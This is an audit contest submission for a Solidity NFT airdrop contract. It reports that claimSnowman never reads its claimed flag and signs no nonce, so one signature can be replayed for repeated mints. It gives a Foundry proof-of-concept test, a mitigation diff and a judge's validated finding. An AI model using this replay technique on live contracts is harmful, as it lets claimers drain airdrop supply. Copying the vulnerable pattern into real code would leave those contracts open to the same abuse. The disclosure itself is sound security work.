Snowman Merkle Airdrop

AI First Flight #10

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: low

Valid

`s_hasClaimedSnowman` is written but never read and the signed digest has no nonce, so a whitelisted address can replay the same proof and signature to claim the airdrop an unlimited number of times

friedsocks233

Description

An airdrop claim is meant to be a one-time event per eligible address. The contract keeps mapping(address => bool) private s_hasClaimedSnowman for exactly that purpose, sets it during a successful claim, and exposes it through getClaimStatus.

claimSnowman never reads it. The flag is written at line 94 and the only other reference in the whole contract is the getClaimStatus view — so it constrains nothing. Compounding this, the signed struct is (receiver, amount) with no nonce, no deadline and no msg.sender binding, so one signature stays valid forever and anyone may submit it.

// src/SnowmanAirdrop.sol

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)

external

nonReentrant

{

if (receiver == address(0)) revert SA__ZeroAddress();

if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();

@> // no `if (s_hasClaimedSnowman[receiver]) revert ...;` anywhere

if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) revert SA__InvalidSignature();

uint256 amount = i_snow.balanceOf(receiver);

bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));

if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();

i_snow.safeTransferFrom(receiver, address(this), amount);

@> s_hasClaimedSnowman[receiver] = true;

emit SnowmanClaimedSuccessfully(receiver, amount);

i_snowman.mintSnowman(receiver, amount);

}

struct SnowmanClaim {

address receiver;

@> uint256 amount; // no nonce, no deadline

}

Risk

Likelihood:

Every time a whitelisted claimer re-acquires the snapshot balance and submits the same call again. Re-acquiring is cheap and intended: Snow::earnSnow hands out free Snow weekly and buySnow sells it on demand.
No signature refresh is needed. Because the digest is a pure function of (receiver, amount), the identical (v, r, s) tuple verifies on every replay.
claimSnowman does not constrain msg.sender, so any third party who has ever seen the signature can submit it.

Impact:

A single eligible address can mint the entire Snowman supply, amount NFTs per round, destroying the airdrop's distribution and the NFT's scarcity.
Because nothing binds msg.sender, a third party holding a once-valid signature can force the receiver's Snow to be staked and burned at a moment the receiver did not choose, using an authorisation the receiver believed was long consumed.

Proof of Concept

The receiver claims, re-buys the same balance, and replays the identical signature and proof for a second mint. Note the calls are made by the test contract, not the receiver — which also proves msg.sender is unconstrained.

Paste the harness and the test function into test/PoC.t.sol; put the test function inside contract PoC. Run forge test --match-path test/PoC.t.sol -vv.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

import {Test, console2} from "forge-std/Test.sol";

import {Snow} from "../src/Snow.sol";

import {Snowman} from "../src/Snowman.sol";

import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";

import {MockWETH} from "../src/mock/MockWETH.sol";

contract PoC is Test {

Snow snow;

Snowman nft;

MockWETH weth;

address collector = makeAddr("collector");

address attacker = makeAddr("attacker");

address victim = makeAddr("victim");

function setUp() public {

weth = new MockWETH();

snow = new Snow(address(weth), 1, collector);

nft = new Snowman("ipfs://snowman");

}

function _leaf(address who, uint256 amount) internal pure returns (bytes32) {

return keccak256(bytes.concat(keccak256(abi.encode(who, amount))));

}

// Insert the test function below here.

}

function test_SameUserCanClaimSnowmanRepeatedly() public {

(address receiver, uint256 key) = makeAddrAndKey("receiver");

uint256 amount = 2;

vm.deal(receiver, 100 ether);

vm.prank(receiver);

snow.buySnow{value: 2 ether}(amount);

SnowmanAirdrop airdrop = new SnowmanAirdrop(_leaf(receiver, amount), address(snow), address(nft));

bytes32[] memory emptyProof = new bytes32[](0);

vm.prank(receiver);

snow.approve(address(airdrop), type(uint256).max);

(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, airdrop.getMessageHash(receiver));

// claim #1 (legitimate)

airdrop.claimSnowman(receiver, emptyProof, v, r, s);

assertEq(nft.balanceOf(receiver), amount);

assertTrue(airdrop.getClaimStatus(receiver), "flag IS set");

// re-acquire the same balance and replay the SAME signature

vm.prank(receiver);

snow.buySnow{value: 2 ether}(amount);

airdrop.claimSnowman(receiver, emptyProof, v, r, s);

assertEq(nft.balanceOf(receiver), amount * 2, "claimed twice despite hasClaimed == true");

}

Recommended Mitigation

+ error SA__AlreadyClaimed();

+ mapping(address => uint256) private s_nonces;

struct SnowmanClaim {

address receiver;

uint256 amount;

+ uint256 nonce;

+ uint256 deadline;

}

...

if (i_snow.balanceOf(receiver) == 0) {

revert SA__ZeroAmount();

}

+ if (s_hasClaimedSnowman[receiver]) {

+ revert SA__AlreadyClaimed();

+ }

Include the nonce and deadline in MESSAGE_TYPEHASH and in the struct hashed by getMessageHash, and increment s_nonces[receiver] on a successful claim.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago

Submission Judgement Published

Validated

Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!